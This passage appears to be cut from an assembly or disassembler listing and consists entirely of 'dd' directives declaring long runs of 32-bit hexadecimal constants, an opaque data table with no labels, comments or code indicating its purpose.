		dd 1E469684h, 4A61006Ah, 7EF89F85h, 0BD2CF30Eh,	1C48680Fh
		dd 0F63F4A80h, 1D9104D0h, 81D7FA73h, 0A9ECF809h, 7AC53F74h
		dd 0C0E39448h, 53A951AFh, 0A7227F46h, 51978900h, 0E10A1A91h
		dd 76FE06C6h, 21B55567h, 0F7F01800h, 8F39A88h, 0A3141D12h
		dd 4680064h, 0FB5F521Ah, 0E1C84854h, 0D0E958h, 5BBC6557h
		dd 7369D8h, 48B9FB33h, 0EC90D0FAh, 7DB6B702h, 90FCCE56h
		dd 851A854h, 0AA9753A2h, 8E40B864h, 0C7BD5190h,	10DCC548h
		dd 0E9BC7CB0h, 1C50008Ch, 199A4EF7h, 44A535F9h,	838071CEh
		dd 69B4BEA4h, 0FCD7D524h, 529D8B07h, 151420FBh,	90AF2071h
		dd 1E1B0B24h, 28090C29h, 815BF082h, 11016A18h, 885FB2F1h
		dd 424E803Eh, 72D8801h,	6993AB06h, 7770D341h, 2E0E7676h
		dd 0C01891C8h, 0B287015Ch, 28AEE6F2h, 18B874E0h, 0C9CAFA00h
		dd 0A2A1CF0Ah, 0DB8300BDh, 1CAD0352h, 0FA56AF79h, 0B48402ACh
		dd 31DD1B65h, 0FC8710D6h, 0FDF705B4h, 40F0530Fh, 0C502A294h
		dd 3E0AEFD2h, 0FE9CBDEBh, 0A7C04400h, 0ABA0A193h, 0AD4AC89Ch
		dd 0B0C840D4h, 0B945BA0Dh, 0AC60D08Dh, 0A7028C7Fh, 0AC5BAA0Dh
		dd 0F50016D2h, 0A0180FE4h, 268498B0h, 6F4CE13Ch, 0F515F7A3h
		dd 9888E888h, 9E0724FEh, 717ED456h, 0EA9A810Eh,	5110D08Dh
		dd 201DAFFBh, 0A60052C7h, 0A30A9C31h, 6E910029h, 0CD847C54h
		dd 98B163B4h, 44D1B688h, 0FD862047h, 9A763E0Eh,	1E0171BAh
		dd 525E6507h, 1CEBD269h, 0E89880FDh, 81C09E8Dh,	0A5DA465Eh
		dd 7E0500BAh, 0FFD69DDEh, 1602B212h, 17073594h,	0F5ECA03Bh
		dd 8C3145h, 975F7E3Ah, 0E136CAA4h, 6C403D01h, 19635928h
		dd 19651730h, 39373B9Eh, 0ED7CC0D2h, 0D7B9B00h,	0AA5BB37Ah
		dd 0E1910625h, 293A33B2h, 0F400FE7Ah, 45FFA621h, 1C39D0Ch
		dd 714CB731h, 30023548h, 8B128387h, 206E78FBh, 4255EE01h
		dd 9CC73AB0h, 3B46C919h, 7711E745h, 50B1A1h, 66AC1878h
		dd 0EC010563h, 8240128Ch, 402228AEh, 57E7F900h,	80272035h
		dd 0E565D00h, 436768B9h, 0ECC41290h, 793008E6h,	0F80DA9C3h
		dd 86ECDC5Bh, 1D39A44h,	5B7E0FFEh, 72E4D6C9h, 1892380h
		dd 53AB51ADh, 9C19D64Fh, 51959310h, 9B23D01h, 9D8D5717h
		dd 6BFCE180h, 3612EBCCh, 0E31F1000h, 6F95C011h,	0F0415C26h
		dd 820FB26h, 6660FE97h,	46B2ED01h, 0C840767Fh, 17E004Ah
		dd 744652F9h, 63E6F17Fh, 0EC605CB0h, 219DB491h,	844B95Bh
		dd 0A19C9F3Ah, 5E001526h, 0A404BC86h, 4DB13016h, 7141C4E9h
		dd 53C53F24h, 0A014E20Eh, 0AE680E0Fh, 0BA50A03Bh, 0DC5D3E54h
		dd 0E3767F0Fh, 0FE9F700h, 8A000994h, 0C753AD6Dh, 927758AAh
		dd 4B50F480h, 9C0014AEh, 0A370600h, 0BCFAA42Eh,	6EF9C4A8h
		dd 3EC4CB58h, 947D0038h, 60A71A03h, 18EB07BAh, 0C0BDC5D6h
		dd 435C3825h, 0A8745213h, 8CF4740Ah, 63724080h,	22C3573h
		dd 0D4F23FA7h, 3871BEBBh, 7118A0D1h, 0BCA49200h, 0B24A68A1h
		dd 67FBE8DEh, 2031B1B7h, 0ED5980C2h, 7219D302h,	509CE969h
		dd 7FCD29D4h, 0C423D0ECh, 0AA2C1E86h, 201412C7h, 7468628Ch
		dd 55B0EDEEh, 3BDD7C05h, 48817606h, 7C29B404h, 0D4B8D4D4h
		dd 0E72E88Ch, 0A864428Dh, 845C9244h, 0B55C0120h, 8C6B8418h
		dd 0D8F84368h, 670E8C90h, 91B5A201h, 80CCE98Ah,	0A3017F4Fh
		dd 1300ADB4h, 0D6680554h, 126D277Bh, 73CC618h, 390DA10Ch
		dd 0A74720C8h, 0E24818B0h, 0F94E0960h, 0E108C9A1h, 0CF08AB18h
		dd 0C8B51B62h, 87860170h, 3052D0B4h, 701277FCh,	6C13D150h
		dd 0B0C87C8Bh, 3B732AC0h, 411C5FBBh, 0B996A7A4h, 2803D46h
		dd 0BF28BA37h, 9084C7F3h, 542ED275h, 77386B23h,	0F10B3200h
		dd 4B73B1BCh, 211A0ADAh, 0D04863h, 3B801692h, 8E455BD1h
		dd 0A9E36DDCh, 9C244288h, 0B767B1Bh, 0B7A03AB3h, 0C23E2C85h
		dd 6130963Ch, 0B3181501h, 0E588EC97h, 1793181h,	29F86827h
		dd 8D28186Bh, 8B7B699Ch, 3A46B200h, 0FE3C1F83h,	91C50260h
		dd 39B0CD02h, 0D4E708C4h, 0FCA8C955h, 5100F224h, 869EB2CDh
		dd 0DA868FFh, 9A8D7D59h, 226EF031h, 1A9DF200h, 0BDA40F87h
		dd 80B0B11Dh, 0AE664569h, 27007652h, 7C61A1B9h,	25EEAC60h
		dd 0A41797CDh, 6B80B811h, 3FEF386Dh, 0B7325492h, 0B0BB21F7h
		dd 40D1F2FCh, 0A0B170BCh, 467478ACh, 9FD600B0h,	4672C9A2h
		dd 71BA6308h, 0E91C838Dh, 0CE40D788h, 54414695h, 0B724046Ch
		dd 80AD8003h, 0F157E660h, 7B912D60h, 9A32C99Dh,	0BBE01728h
		dd 1664201Fh, 34966BABh, 1E0B54Bh, 6FF794B2h, 0BD90421Ah
		dd 0B27B78D1h, 59EF18C8h, 0A230DB00h, 5B9C026Fh, 3EA90E75h
		dd 0C0FB9A0h, 56BC80F2h, 18C4BA19h, 38E4F399h, 9EAB0EC2h
		dd 14001CEEh, 0AF4FBB3h, 3EE24408h, 3B460141h, 338A5D53h
		dd 309BE224h, 19172B4Bh, 7422443Ch, 24E4FAh, 1DDB84E6h
		dd 6066BC2Bh, 0C05A1900h, 0EAAA2357h, 0E7F70B6Eh, 4049FBD2h
		dd 706DE8DFh, 780DED02h, 7908BD94h, 8FD021CCh, 41091DA1h
		dd 7217FCC9h, 982C7BE0h, 2A00BAE9h, 8886E05Fh, 0B3150405h
		dd 845B9665h, 0F284E2F4h, 2725309Bh, 49124204h,	9CE6C07Fh
		dd 8030EEB2h, 9D1E002Ch, 0BB8B4C67h, 324B5154h,	74316040h
		dd 889730h, 0C68C508Ah,	53021CD3h, 0C57E7902h, 641EBB3Fh
		dd 0BD8E03B8h, 0AA42196Bh, 8C90FBFAh, 0FD033974h, 8050A026h
		dd 9843F3A1h, 12BE1378h, 6FC6F5E9h, 0E3C6004Ch,	7DD56220h
		dd 1E0300EBh, 0A03D995Dh, 191D0EE0h, 900F8BBh, 4360AE45h
		dd 567D2DACh, 8311A017h, 870E9880h, 0C8998F62h,	0ED5CB4A6h
		dd 8DD1D019h, 573B8EFEh, 0DEE458E4h, 9AD070C4h,	401D390Bh
		dd 728B4711h, 5C063C80h, 4E58B119h, 0F1C9872Ch,	0D0FB7142h
		dd 76411324h, 0C9908728h, 805DDE00h, 0E9243877h, 910317C3h
		dd 993F4213h, 4879EC0Dh, 3729D104h, 92388874h, 0CA04E4BBh
		dd 70C08A72h, 0CB7C6BAh, 151E18EAh, 807F469h, 0D3429337h
		dd 9AF91B40h, 0C1413802h, 8779AC80h, 763ACA7Dh,	0CFAD48h
		dd 6D72041Fh, 523989Ch,	0F8367A1Dh, 9ACFC335h, 0A4177D80h
		dd 5F786309h, 8C07DD9Bh, 0DF0D0392h, 0F98BDDC8h, 327B38h
		dd 0FB05752Ch, 3A8E1759h, 5200A37Fh, 0BF2306CAh, 70035AEh
		dd 36F44CEDh, 0B74DA646h, 2B488AE0h, 0EC05AD5Eh, 0D4074118h
		dd 3FC2B2F1h, 0E2780544h, 30E9E280h, 701ACBCh, 2E1BBA2Ah
		dd 0F4654DE2h, 0D12C71A1h, 0E218EEh, 4E2433AFh,	16FAD8BFh
		dd 0B9A1EC17h, 3B17FC88h, 0D344558Fh, 5E9B9D00h, 8E792E4Ah
		dd 91AE0911h, 0B460FDF1h, 0EC9118BAh, 0A2178301h, 582236D1h
		dd 0F4011504h, 455400C3h, 0BE795793h, 0D5465C58h, 6CCFA100h
		dd 2D9CCE60h, 491D30A0h, 0F0B9C320h, 0B25E2813h, 363B1B94h
		dd 0C9F14199h, 41318E8Dh, 45E8A902h, 603EE4ECh,	17D162B9h
		dd 0C2021E1Bh, 50C00DC8h, 208640AAh, 0B613AF0Ah, 7C905287h
		dd 7C77973h, 0E426C1C0h, 649A4009h, 0AAF66DEAh,	3453854Fh
		dd 8323E03Ah, 46EA6800h, 0A452B0DEh, 0EBE20CACh, 70A89FBDh
		dd 0B74448B0h, 6CB11816h, 0AB9729E3h, 0A8A0F896h, 4CAE5B20h
		dd 9BD2941Fh, 6F879E18h, 95C0A6B8h, 12FED2B1h, 0B21BBB0Dh
		dd 0C9690834h, 386C02E5h, 9104D463h, 0F49BC0C5h, 85CFC083h
		dd 0A537C7E4h, 947801B3h
		dd 3DFFB735h, 5D4D0FB0h, 0B84E5FC9h, 3192A108h,	8444A21Eh
		dd 11ECC408h, 51AB80FFh, 435F53A5h, 0A122ADh, 1251F385h
		dd 0DA2058D3h, 4CAE3103h, 0C2050AA8h, 13402146h, 54522A4Bh
		dd 9579E8A4h, 14CBC011h, 0A623803Ah, 8E0C6E00h,	6F332ECh
		dd 35B04518h, 0FA3069D7h, 0C33471DBh, 3EE50051h, 279FF2D6h
		dd 9C0BF8FDh, 850E5F0Fh, 0AC205524h, 0FFEC7EAh,	0FFFD4614h
		dd 0EBEF809Dh, 0BF9E0A89h, 0A7365C00h, 4877400Bh, 0E0EE51FAh
		dd 0A3A24C33h, 99817930h, 37A83Ch, 1562433Ch, 6568994Eh
		dd 77818A00h, 758EF3BBh, 5C949C7Ch, 681F9B46h, 71158409h
		dd 0B38A814h, 0E4740579h, 19C6007Ch, 14B7EADFh,	0F802E050h
		dd 0CF0DF02Bh, 4240E7C9h, 0E19C424h, 0BC3B2A8Ch, 90A13F70h
		dd 8A51875h, 0FC5BAC0Dh, 0EF4049C4h, 0B6CD0FFAh, 36B3CB0Bh
		dd 0E6B8072Ch, 0F3A18488h, 64E89054h, 0E04BCBF7h, 0FCBCA820h
		dd 0F296007Bh, 0A6D7C7F6h, 2800BF6Ch, 3EAB0CCAh, 0DF8E8142h
		dd 0B52D40D1h, 0F9C4BD36h, 969DEC9Eh, 0E9826DC0h, 5831E7h
		dd 8DEF30AAh, 0AB6E43D5h, 46A6C01Dh, 51B08984h,	0A120E4h
		dd 6FB44864h, 4365E0A2h, 0B46EC95Eh, 0E7218704h, 30D4A5FFh
		dd 0A032D8Fh, 577F6AF8h, 5A9CB065h, 582010Fh, 52A9B135h
		dd 0B000201Ah, 89209D18h, 0E96C3B71h, 0CDF35040h, 16AE0165h
		dd 940D0CABh, 4B66E037h, 0F23469C0h, 722023h, 396C475Bh
		dd 0F72E2DDCh, 2F359300h, 9E7EAA84h, 7A0D12FCh,	0E06827FBh
		dd 66B1EBF6h, 0D1455500h, 9F32C8A2h, 0E1E801EEh, 703076C6h
		dd 227C38AEh, 421800D1h, 38C3D824h, 3400BE2Ah, 15AEE07Eh
		dd 6462FD9Eh, 409C3196h, 44AF94D7h, 8F4D00D9h, 5F76C68h
		dd 0A301E088h, 975E46A2h, 34267E40h, 0A90D097Ch, 1045E45Bh
		dd 0FFF00BDh, 0DAA9735Eh, 0B5490FC8h, 39B69348h, 88844B08h
		dd 8D92C021h, 94A441BAh, 60B9B704h, 0CA0F2D5h, 0D0082646h
		dd 4649700h, 0C098AA7Ch, 0D1F3AD9Ch, 0D1CBCCA1h, 0D0212B20h
		dd 0C908C552h, 48B910E9h, 0B8386089h, 533C3FCAh, 0BD44F896h
		dd 0F762005Fh, 741830EFh, 6DAEE200h, 0B44BAD24h, 0B1177A3h
		dd 2D9D75CFh, 7A70E8C8h, 94B0F8A0h, 8EEA831h, 502E1E9Dh
		dd 0CAD3BC0Ch, 0C047C84Ch, 9BF5BA09h, 15B76103h, 0C683B49h
		dd 1EADA6C0h, 4C964061h, 1B9465Eh, 2E1C0EACh, 42F96D2h
		dd 0C2E5CF2Ch, 0AB304344h, 5BAE110Dh, 98B0880Ch, 9D7DC8F9h
		dd 506D5C07h, 0C5301B86h, 5101F237h, 0DC63E4E3h, 4923AB01h
		dd 40922CDDh, 0EC56508Ch, 7820F200h, 0AFADE291h, 1BAC27E6h
		dd 0D2B6F022h, 465C9C54h, 1E860721h, 88C356C5h,	2CC1AD57h
		dd 4810206Dh, 0A8C0716Ah, 4EBAF15Bh, 0B155F8DCh, 18A179B0h
		dd 1C8C07FAh, 6067719Ah, 0CEBE2EE7h, 0C5E13402h, 0CCFDAF7Fh
		dd 0B4870248h, 0D2151B5Ch, 0A2507474h, 0ABB400E3h, 7ED4531Ah
		dd 0C62EFD9Bh, 79175DD1h, 200A1852h, 4DA7FCC4h,	0E45D60B8h
		dd 2941281Dh, 63611883h, 83AC3826h, 5B9BCCE4h, 0F4F3BA8h
		dd 481F9027h, 19198080h, 28CF961Eh, 1DC1ECCEh, 0E0F1F225h
		dd 4E211A8h, 17388BB6h,	805485CCh, 0A6DE9E9Fh, 0A000DD5Ah
		dd 0C51994FDh, 0FB65C86h, 19B0117h, 0BCBEADADh,	4E4887D6h
		dd 0B991DB02h, 983D6219h, 0C9BF081Ah, 4A007846h, 164DCB79h
		dd 7FA75866h, 3663095Ah, 1C1D93C8h, 60C8E708h, 66B4067Dh
		dd 1AACC400h, 916A34C3h, 328C8199h, 0F6B405CCh,	0A900D97Ch
		dd 0D2ED625Ah, 0B83F00A3h, 636E9779h, 18130761h, 9804A239h
		dd 4300CF33h, 0A4DA81C6h, 3BC88A0h, 0D7057613h,	0B10B0h
		dd 67607ACEh, 0A2F1C619h, 4E26749Ah, 48046CF0h,	1A01B949h
		dd 89AEBA2Eh, 45565420h, 60B8C44Ch, 263641Ch, 8288AD0Bh
		dd 0B090558Ah, 5100A715h, 0A1502301h, 9AE460h, 0DCC8B9C1h
		dd 5EEA994Ch, 0F3AADE04h, 0C0C2ADF1h, 0E4744578h, 6CBA60EFh
		dd 0F1CC02B7h, 8C8290C0h, 5580B054h, 2CE023B8h,	1DFE0EBFh
		dd 0D6A2AF9Ah, 94E57D02h, 0CC60A3E4h, 392F154Ah, 3878854Fh
		dd 49F2E0B2h, 13BC4B30h, 0C9DE1424h, 67CC20C0h,	9F0ABF40h
		dd 6A9464A5h, 9D490E54h, 0A488373Bh, 51F1125Eh,	644012D1h
		dd 0AC9CBCF8h, 1C008CA0h, 87F3429h, 38575DAEh, 0C01771D3h
		dd 0C89CCEF6h, 0A4F9C06Bh, 0B1076EE9h, 0BBE8EFA2h, 0D4193551h
		dd 13CD1074h, 376858Ch,	66793C48h, 2BB0D97Fh, 0C88B112Ch
		dd 99101983h, 98D050CEh, 90EB2EBEh, 40758830h, 4A4E363Eh
		dd 0C1AE0340h, 0BC430D80h, 84A1CA9Ah, 21A7907Fh, 0C4402F4Ch
		dd 2D396D0Ah, 4B0E0380h, 4FBBE35h, 0F245F8F0h, 0BDA2D005h
		dd 0FCE2D3F3h, 424C8A22h, 2F7B1B50h, 2A20E8A0h,	0B890B5h
		dd 59A86530h, 0CB73626h, 94780E02h, 7A8DFF86h, 0E93F3830h
		dd 0FE688B18h, 20D8D3BBh, 0B9F58408h, 41093EDCh, 0A8F340B7h
		dd 0C56A2701h, 2893F438h, 10643AC6h, 0DDC438h, 9A5D53EDh
		dd 63020EE0h, 0B981AB04h, 48F7E208h, 34CD922Ch,	0A2395DD0h
		dd 343F00B4h, 0C74B4A59h, 32CE01A7h, 0A8B2EA86h, 22AC73C2h
		dd 7161C039h, 359D7346h, 0AD00DCB1h, 0D8E4877h,	16C50E1Bh
		dd 41B2208Bh, 7E59A494h, 0F019F565h, 322C574Ch,	6002D4B1h
		dd 2717DF1h, 68D17C7Ah,	0F1189B71h, 85E56D3Fh, 8B139D6Bh
		dd 12B79C40h, 5499761Dh, 6E80AAh, 450E934Eh, 0D76BB505h
		dd 0A60F3300h, 268DC415h, 16940974h, 3406670Eh,	0AB18111Dh
		dd 6008D3B9h, 45E8A096h, 0BAA05C2h, 8CFDF5Ah, 5DC0F2D8h
		dd 21B28401h, 0EC88E2B7h, 754D00C8h, 80775701h,	0B52C9E02h
		dd 43457B4Bh, 488AAA84h, 653950A4h, 0C058B8A5h,	14E64AB4h
		dd 4D3B60BAh, 6A3EC57Bh, 0D09601BCh, 5DA12CD2h,	0A42837F5h
		dd 4EC84884h, 4EE160BAh, 5F8BA03Ah, 23402FFBh, 6D8900D6h
		dd 76E9F152h, 3F44A8B2h, 5CDC9C7Fh, 3609D546h, 0D88552CFh
		dd 9CDCC59Eh, 4840C068h, 0BFE1E9B7h, 3AF04A3Bh,	4B18B0A4h
		dd 0EA8B9D3Dh, 694F1098h, 0D20218A0h, 4D4ACE80h, 0C2026C8Bh
		dd 7C56F179h, 7192D079h, 70377830h, 91E26FE0h, 97CF76A2h
		dd 0A071D451h, 0CC018318h, 0DA3DFF79h, 9B608D94h, 72B4F38h
		dd 5CF4A1ACh, 0D3F86D31h, 21881E3h, 0BC725ED8h,	3EA14823h
		dd 20E0CC4h, 0C61C1B05h, 8081A7B5h, 611D6841h, 4ACC7270h
		dd 6C802CDAh, 4B6864DDh, 0F7ED1700h, 0C5503D6Fh, 0CFB52D35h
		dd 0EEE45CC5h, 0BBAF0D60h, 75693E4Ch, 8A99BD00h, 5B985CF3h
		dd 0B1E400E3h, 0A43DFC85h, 32741994h, 20D6E218h, 43F6FF10h
		dd 0F28502A8h, 205C7176h, 82B031EEh, 79C241CBh,	1709E9BCh
		dd 2CC8E429h, 0F500610Fh, 0CAA74921h, 0B590AD8Eh, 54817835h
		dd 0E120FF7Ch, 13807C28h, 81DC7872h, 0BFD2CC00h, 0B7ED354Dh
		dd 0AACA02C1h, 0D594B11h, 179628D9h, 0CED81020h, 2C7E0110h
		dd 0E86F893Ah, 0EC59D10Eh, 42269565h, 51049CA2h, 98EC5678h
		dd 198CA1B8h, 686781E4h, 0F6E0FFB7h, 0B09CFB5Ch, 87412180h
		dd 63569Fh, 7E5406D5h, 1CDB9D93h, 7FCD740Bh, 3D544467h
		dd 210A2488h, 0EA71B8h,	1CC519B1h, 0D8EC1704h, 0C853A40Bh
		dd 0C07CEDEDh, 0B5F0BBB8h, 0FF289500h, 147F1F86h, 0C8528836h
		dd 49A8A401h, 0C0FEB813h, 0D950203Fh, 1EE66496h, 3B0048E6h
		dd 91D291Bh, 710C3C1h, 66A9AE1Fh, 0E2DE26Dh, 725680C8h
		dd 226F631Ch, 0CD034381h, 6E3A9A30h, 53BB0118h,	8E95FA58h
		dd 7B542CF0h, 68C75C81h
		dd 0CE47F10Bh, 0FD00485Bh, 75602D87h, 5259005Dh, 1133E364h
		dd 0B3387ED5h, 0D876091Ah, 0EC988A45h, 0C4242174h, 493BBD84h
		dd 3419BCF2h, 0C48C418Eh, 3DBD8A02h, 255004Ch, 81589357h
		dd 712C909Fh, 333400F5h, 0D91B52EEh, 3C543A9Eh,	49118384h
		dd 6453B1F1h, 0A330B8A2h, 501097BAh, 63E0B983h,	4A000A58h
		dd 9B23782Fh, 7D267301h, 0CC6C9D55h, 4845BC00h,	0C647BA8Ah
		dd 0B2A169C6h, 320C2E1h, 0CCAB0876h, 38E450E5h,	619EA860h
		dd 0E8986AB0h, 96FAEB44h, 37DF803Ch, 1577AF5Dh,	3C11D900h
		dd 6D692044h, 98ECFBF7h, 27DD7D7Fh, 0E462C714h,	0F1C148EDh
		dd 65FCC9BDh, 45BB18E0h, 32DC81AFh, 0A080109Dh,	86D5005Ah
		dd 8AFD306Bh, 720079EFh, 0F4EA4B65h, 2A9EB8C7h,	0B5EC7BF1h
		dd 0A7910897h, 0DF27C09Eh, 77F1369Fh, 0B3ECBF50h, 2CB70B40h
		dd 0AD58F314h, 38914C97h, 3BB4C580h, 449002D1h,	56B0B966h
		dd 1CBB1DA1h, 0E0142C46h, 3EC24FA5h, 0A7A6540Ch, 406B90D9h
		dd 0B7E0A20Ah, 69D1C50Bh, 7688812Bh, 7A2A4568h,	7A8526C0h
		dd 4F1F700h, 5F0D4D1Eh,	0F742312h, 97E745A8h, 0D5866C00h
		dd 3AAE70F4h, 89A400DAh, 0B16C1AFh, 1020ED8h, 529D4310h
		dd 45205A3Fh, 60E8E8BAh, 0F9DF1D00h, 68696353h,	457B007Eh
		dd 4380C0Bh, 0D43413DEh, 14ED39CAh, 1100BC39h, 4E1F958Bh
		dd 0FE0450DBh, 0D18DE0A0h, 0CE0F1D40h, 6600E442h, 0AC98038Eh
		dd 517ED91h, 0FB6BB553h, 68B040D2h, 0A011140Eh,	8C24660Fh
		dd 0D13F609Ch, 25655051h, 0B8A03243h, 4916AD4Ah, 4B359202h
		dd 0FE1AB5CCh, 18F37414h, 0FF0701CFh, 1023B88Ah, 4880DACAh
		dd 3901800Ch, 0DFADE800h, 64547469h, 942F4C9Dh,	0F23E4180h
		dd 88A452FCh, 2AC0C600h, 5F9D594Ah, 38704C3Bh, 38C4918Bh
		dd 0C846A727h, 12490BACh, 0FA11883h, 0BDC9BC1Ch, 40595C62h
		dd 0C94896A5h, 4D93A08h, 7C18E979h, 97991600h, 939142DCh
		dd 4E15004Bh, 0AF9D6513h, 0CC29ECFCh, 0F900B814h, 6B4436D8h
		dd 6B7C4B66h, 0BCE30424h, 0A4B9B59Eh, 1F24884Fh, 2FBB3Ch
		dd 0DA99FA4Ch, 620ABC42h, 0D08C2980h, 2FED3620h, 44880391h
		dd 0D90F0846h, 0ECA16400h, 0CE4E1AE7h, 416B0BABh, 0BC98D46Fh
		dd 0EF761703h, 3AB83900h, 36681052h, 12657B64h,	9719BBFDh
		dd 98F4A090h, 0AE00A5D0h, 0ADDD9CE3h, 5A9F1B0Ch, 0C85CCB8Ch
		dd 6D60CEA1h, 0FBA938BFh, 0C734C502h, 27DBFC70h, 5C211011h
		dd 5D00D51Ch, 0D22C960Eh, 0F764A1Eh, 0B599CAB4h, 0F470C489h
		dd 7ABC744h, 0DD2650Bh,	0EB56E0B9h, 0C829770Fh,	0ED79CC7Fh
		dd 0E9005B18h, 0B83680F6h, 274BC0B5h, 88423FBh,	0B83CA894h
		dd 72C08CADh, 0E2DEA44Ch, 919892FAh, 0D2550AB8h, 0C0039F90h
		dd 1535182h, 0AB05F152h, 8C8EDC1Bh, 0E07A2C89h,	62000CD2h
		dd 450A871Ah, 621A870h,	5981C8DDh, 0D8043006h, 85711E03h
		dd 3EEC68A8h, 7A70058Ch, 0FA7FCD58h, 0F0B74717h, 20910A00h
		dd 6CC0FB89h, 6FE38A01h, 5CCFABB7h, 0F1D2A06Bh,	0DC472816h
		dd 0A6A258F3h, 1FDA8730h, 0C0DB251Dh, 0AB11954h, 0EC01672Ch
		dd 0AAEABD23h, 6C6D666Eh, 897D5C1Dh, 9300855Ah,	0C584D52Fh
		dd 0EC216103h, 0B5FB56h, 0D8B8F529h, 3CFC86E3h,	32A80C00h
		dd 0AB195866h, 0EA430E69h, 6A9E6B89h, 18BA2960h, 53160AE8h
		dd 649740D8h, 8112EBE6h, 0A4A414DCh, 0D4B010h, 0F8AEFD09h
		dd 8EB9326Ch, 1D16F000h, 123D7893h, 3082EEA7h, 0DFAF13Ch
		dd 34941EDEh, 1CFC6B44h, 0D49A7580h, 660EB3F2h,	95ECA8h
		dd 40846EE3h, 0AFA09F5h, 1420A4CAh, 0FC139CCBh,	0FC87FCB2h
		dd 0BB603844h, 4478956Fh, 0D9A38202h, 0C06DEC20h, 7CC54B60h
		dd 0D0E0B9E2h, 86C8E7h,	63A78FF5h, 31265861h, 1F041427h
		dd 463BC0h, 62AB8FF1h, 27B966D9h, 2090BDA2h, 1D002E45h
		dd 194E3DE1h, 3C83594h,	4366CD52h, 79072006h, 302F740h
		dd 0D2937110h, 5C3BE0B7h, 0B2D5813h, 817C68AEh,	830E5BAAh
		dd 0F769D176h, 6CF259h,	4B01EE89h, 7601DD7h, 8F931497h
		dd 0B58A70F5h, 29CF6E48h, 0CBB780F9h, 4EAD60F8h, 616C2235h
		dd 0E708D49Dh, 0CF3B60C8h, 9D09BC17h, 182E5DF4h, 1616D740h
		dd 7972033h, 0F03EE7E4h, 769E7A39h, 0C401EEECh,	55791DCBh
		dd 0CE2EE3ACh, 71C2BA00h, 6050D448h, 19F23704h,	78B8F3B9h
		dd 18B31418h, 667D89FFh, 9E7D5616h, 3B966CDCh, 0AF098116h
		dd 0BC44F5A9h, 80937A3Fh, 2001E72Fh, 0BAD37C3h,	3051323Bh
		dd 0C2E6F480h, 1F01E39Dh, 3CA8750Ah, 0BBC46850h, 0C1A67810h
		dd 80188B68h, 13A400CFh, 120C175Bh, 766088C8h, 5D2782E0h
		dd 0C1F8C250h, 1D10A3A8h, 0E8329ACAh, 2138D1F2h, 2BBF8237h
		dd 0D841D00Ch, 0F3A68871h, 0ABC19360h, 350E609h, 0F1815995h
		dd 4806DC18h, 0F3F235C5h, 93CF0111h, 3871E051h,	0FDA450D5h
		dd 7C00423Bh, 0CD618BAFh, 69365830h, 0F8F860F1h, 0C2860F00h
		dd 1655C03h, 90B95F46h,	934E7E5Ch, 6667FE0Ch, 38FFC9B4h
		dd 388009E1h, 0BD907F65h, 502F6DE2h, 0EDCCC076h, 630E00E3h
		dd 0ADCC2E17h, 3A30F23Fh, 0C6BA01Dh, 2A020022h,	48B2F393h
		dd 0A8A29D37h, 92403474h, 91EF8BC8h, 0F3175018h, 0E4003496h
		dd 3C02B3FDh, 81B900EBh, 764EE0FEh, 0E718E139h,	0CD217096h
		dd 1379077Dh, 608C6D49h, 0E13DC223h, 7C07CB00h,	0F1478B21h
		dd 5AE50045h, 0F9952E41h, 0F80328D9h, 63FAB982h, 2B59F8CEh
		dd 0E8D006Fh, 0B295D408h, 7F00E654h, 4C13742Fh,	0F4C51233h
		dd 353100D6h, 8CFA1701h, 86008E05h, 60A8492Ah, 0E4B39A4h
		dd 99341FA3h, 0F928FD60h, 0AD006CA5h, 95C7B5C8h, 71EA962h
		dd 49B61031h, 0FF8F0A4h, 0F10B0D4Eh, 8CE3C33Ah,	3F21020h
		dd 0E824894h, 68B88E6Fh, 80143B2h, 0D9E86580h, 0D8F34A11h
		dd 0E60463A0h, 343000E4h, 24F0B812h, 0D100E0D4h, 83E555D8h
		dd 10ACD3h, 0BEE0197h, 0DB506923h, 8A1A1900h, 0C88FC59Ch
		dd 0EDE404h, 4E2C908Eh,	0A7B4A59Bh, 0CD0E4B77h,	808625FDh
		dd 0EF3D5FFAh, 207700BAh, 0BC675837h, 0D21F46D0h, 2CC11375h
		dd 661C79A6h, 90610AC0h, 11060024h, 15230C26h, 107680D8h
		dd 53854D00h, 92870850h, 98060042h, 96B225CFh, 0F801EFE6h
		dd 2C628968h, 0F081EC1Dh, 1C33413Ah, 2894D0D2h,	80321830h
		dd 35476Dh, 5BE5F27Ch, 1B8CAFD5h, 0E2E97F01h, 0E3DAB7F4h
		dd 0F118FECh, 3D84BC23h, 0AECA04E1h, 0CD592096h, 4F016EFAh
		dd 0C5CE2D7Ah, 0D2600C1Dh, 0CB620069h, 7D0501ECh, 70EB2D9h
		dd 2091A6C8h, 49547261h, 1EE0005Ah, 0AC1B3F16h,	0F800142Fh
		dd 0C3803C18h, 28BD37DDh, 2298C63Bh, 750023F1h,	5BA80869h
		dd 0A46EBB3h, 0B9485E1h, 87270290h, 81DF9626h, 8DB8C9D3h
		dd 10C3B892h, 9500B92Ch, 776815EFh, 0AA48FC71h,	80B63F3Fh
		dd 69C0F0C4h, 0C0A95479h, 0E8B08D80h, 9E0556A1h, 0DB458494h
		dd 59E2A400h, 1262BB7Ch, 1DF996Ch, 8E826808h, 4A1EC2Eh
		dd 13A87001h, 8BD69D94h, 2A5DDE8h, 905F1647h, 1540C03Dh
		dd 837DBF81h, 0E0A07830h, 8336E796h, 0CE41ABC0h, 0EE4E9D14h
		dd 269112E4h, 97993400h, 842DC4h, 0BF9E89B6h, 57D4D29Dh
		dd 0DC7C3Dh, 0F7F6E711h, 2E0E1B3h, 402EEF97h, 8048B84Fh
		dd 0A4227543h, 7A0102F0h, 95A6C09Dh, 0B5E60040h, 0DC03E201h
		dd 0AF781C26h, 0B8B9D840h, 21E705C6h, 4104950Fh, 948317A8h
		dd 15A1F897h, 0CC54AAFCh
		dd 0BD0E57F0h, 0D954B36Ah, 28619CD8h, 0D445D887h, 6B607007h
		dd 3814A5CDh, 0D8B6C6h,	37B1DF77h, 8A2215h, 64B24096h
		dd 8EC05A27h, 7F2AD400h, 3944871Dh, 0AAB50015h,	848D53F7h
		dd 8F003517h, 0C59452CAh, 5DBA60h, 0E5298AA4h, 6EE733CCh
		dd 3CB840E9h, 0FC00D1C6h, 44B46573h, 0F0AA13h, 112B2CC4h
		dd 1B38BF35h, 81EB6F03h, 0AB295DDAh, 0D50898E9h, 8E5B0024h
		dd 0FBCB9070h, 45007871h, 19112FCDh, 0F7E8FDh, 0EDA75277h
		dd 0EBDD275Dh, 0F50A3700h, 1A1F1CD7h, 0EE240032h, 4CD648A4h
		dd 87EEF096h, 7A7EAA7Ah, 7D741C4Ch, 0A901B2FCh,	9D346892h
